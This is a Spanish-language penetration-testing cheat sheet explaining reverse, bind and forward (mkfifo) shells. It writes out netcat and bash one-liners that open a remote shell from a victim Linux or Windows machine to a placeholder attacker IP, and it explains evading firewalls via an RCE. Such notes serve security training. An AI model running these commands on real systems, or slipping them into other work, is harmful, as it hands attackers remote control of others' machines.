Shells
Tipos de Shell
Reverse Shell

Atacante Linux
nc -lvnp <Port>
Donde:
-l
: Modo escucha-v
: Modo verbose (Retorna Información de la conexión, se puede usar -vvv para mas información en la conexión).-n
: Deshabilitar resolución inversa de DNS-p <Port>
: Establece el puerto de escucha
Victima Linux
nc -e /bin/bash <IP> <Port>
# Bash
bash -i >& /dev/tcp/<IP>/<Port> 0>&1
Víctima Windows
nc.exe –e cmd.exe <IP> <Port>
Bind Shell
En algunos proyectos donde no puedas establecer un servidor de escucha por que te encuentres por NAT o por Firewall, a veces es conveniente de que la máquina victima esté en modo escucha ofreciendo la shell, a esto se le llama Bind shell o shell directa.

Atacante Linux
nc <IP Target> <Port>
Víctima Linux
nc -lvnp <Port> -e /bin/bash
Víctima Windows
nc.exe -l -p <Port> -e cmd.exe
Forward Shell
Esta técnica se utiliza cuando no se pueden establecer conexiones Reverse o Bind debido a reglas de Firewall implementadas en la red. Se logra mediante el uso de mkfifo, que crea un archivo FIFO (named pipe), que se utiliza como una especie de “consola simulada” interactiva a través de la cual el atacante puede operar en la máquina remota. En lugar de establecer una conexión directa, el atacante redirige el tráfico a través del archivo FIFO, lo que permite la comunicación bidireccional con la máquina remota.
Puedes encontrar casos en los que tienes un RCE (Remote Code Execution) en una aplicación web en una máquina Linux pero debido a reglas Iptables u otro tipo de filtrado no puedes obtener una shell inversa.
Esta técnica o tipo de "shell" te permite mantener un shell PTY a través de ese RCE usando tuberías dentro del sistema víctima.
Sólo necesitas modificar La URL del host vulnerable El prefijo y sufijo de tu payload (si lo hay) La forma en que se envía el payload (¿encabezados? ¿datos? ¿información extra?) Luego, sólo tienes que enviar comandos o incluso utilizar el comando upgrade para obtener un PTY completo (ten en cuenta que las tuberías se leen y escriben con un retardo aproximado de 1,3s).
Referencias
Última actualización